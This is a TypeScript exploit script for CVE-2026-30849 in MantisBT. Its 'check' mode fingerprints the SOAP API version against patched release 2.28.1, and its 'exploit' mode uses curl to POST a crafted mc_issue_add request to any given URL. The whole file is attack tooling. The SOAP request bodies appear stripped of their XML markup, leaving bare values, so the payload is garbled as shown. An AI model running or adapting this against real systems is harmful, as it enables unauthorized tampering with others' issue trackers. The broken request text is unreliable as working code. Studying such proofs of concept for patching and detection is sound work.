import {spawnSync} from "node:child_process"; const PATCH_VERSION = "2.28.1"; type Command = "check" | "exploit"; function printUsage(): void { console.log( [ "Usage:", " ts-node CVE-2026-30849.ts check --url ", " ts-node CVE-2026-30849.ts exploit --url ", "", "Examples:", " ts-node CVE-2026-30849.ts check --url http://mantis.local", " ts-node CVE-2026-30849.ts exploit --url http://mantis.local", "", ].join("\n"), ); } function parseArgs(argv: string[]): { command: Command; url: string } | null { const [commandRaw, ...rest] = argv; if (commandRaw !== "check" && commandRaw !== "exploit") { return null; } let url = ""; for (let i = 0; i < rest.length; i++) { if (rest[i] === "--url") { url = rest[i + 1] ?? ""; i++; } } if (!url) { return null; } return {command: commandRaw, url}; } function normalizeEndpoint(input: string): string { return `${input.trim().replace(/\/+$/, "")}/api/soap/mantisconnect.php`; } function soapVersionRequest(): string { return ` `; } function soapExploitRequest(): string { return ` FLS 0 Incident API SOAP Création d'un ticket via mc_issue_add 7 2319 high major always 168 KLR Type d'action Exploitation `; } function callMcVersion(endpoint: string): string { const curl = spawnSync( "curl", [ "-i", endpoint, "-X", "POST", "-H", "Content-Type: text/xml; charset=utf-8", "--data-binary", "@-", ], { encoding: "utf8", input: soapVersionRequest(), stdio: ["pipe", "pipe", "pipe"], windowsHide: true, }, ); if (curl.error) { throw new Error(`curl execution failed: ${curl.error.message}`); } if (curl.status !== 0) { const stderr = (curl.stderr ?? "").trim(); const stdout = (curl.stdout ?? "").trim(); throw new Error( `curl exited with code ${curl.status}. ${stderr || stdout || "No error output."}`, ); } const output = `${curl.stdout ?? ""}\n${curl.stderr ?? ""}`.trim(); if (!output) { throw new Error("No output returned by curl."); } return output; } function callExploit(endpoint: string): string { const curl = spawnSync( "curl", [ "-sS", endpoint, "-X", "POST", "-H", "Content-Type: text/xml; charset=utf-8", "-H", "SOAPAction: \"\"", "--data-binary", "@-", ], { encoding: "utf8", input: soapExploitRequest(), stdio: ["pipe", "pipe", "pipe"], windowsHide: true, }, ); if (curl.error) { throw new Error(`curl execution failed: ${curl.error.message}`); } if (curl.status !== 0) { const stderr = (curl.stderr ?? "").trim(); const stdout = (curl.stdout ?? "").trim(); throw new Error( `curl exited with code ${curl.status}. ${stderr || stdout || "No error output."}`, ); } const output = `${curl.stdout ?? ""}\n${curl.stderr ?? ""}`.trim(); if (!output) { throw new Error("No output returned by curl."); } return output; } function extractVersion(response: string): string | null { const returnMatch = response.match(/]*)?>([^<]+)<\/return>/i); if (returnMatch?.[1]) { return returnMatch[1].trim(); } const faultMatch = response.match(/([^<]+)<\/faultstring>/i); if (faultMatch?.[1]) { throw new Error(`SOAP fault: ${faultMatch[1].trim()}`); } return null; } function parseVersion(version: string): number[] { return version .split(".") .map((part) => Number.parseInt(part, 10)) .map((n) => (Number.isNaN(n) ? 0 : n)); } function compareVersions(a: string, b: string): number { const av = parseVersion(a); const bv = parseVersion(b); const max = Math.max(av.length, bv.length); for (let i = 0; i < max; i++) { const left = av[i] ?? 0; const right = bv[i] ?? 0; if (left > right) return 1; if (left < right) return -1; } return 0; } function runCheck(rawUrl: string): void { const endpoint = normalizeEndpoint(rawUrl); const response = callMcVersion(endpoint); const version = extractVersion(response); if (!version) { console.log("Version: not found in SOAP response"); console.log("Unable to determine vulnerability status"); process.exitCode = 2; return; } console.log(`Detected MantisBT version: ${version}`); console.log(`Patched version: ${PATCH_VERSION}`); if (compareVersions(version, PATCH_VERSION) < 0) { console.log("VULNERABLE"); return; } console.log("NOT VULNERABLE"); } function runExploit(rawUrl: string): void { const endpoint = normalizeEndpoint(rawUrl); const response = callExploit(endpoint); console.log("Exploit succeed"); console.log(response) } function main(): void { const parsed = parseArgs(process.argv.slice(2)); if (!parsed) { printUsage(); process.exitCode = 1; return; } try { if (parsed.command === "check") { runCheck(parsed.url); } else { runExploit(parsed.url); } } catch (error) { const message = error instanceof Error ? error.message : String(error); console.error(`Error: ${message}`); process.exitCode = 2; } } main();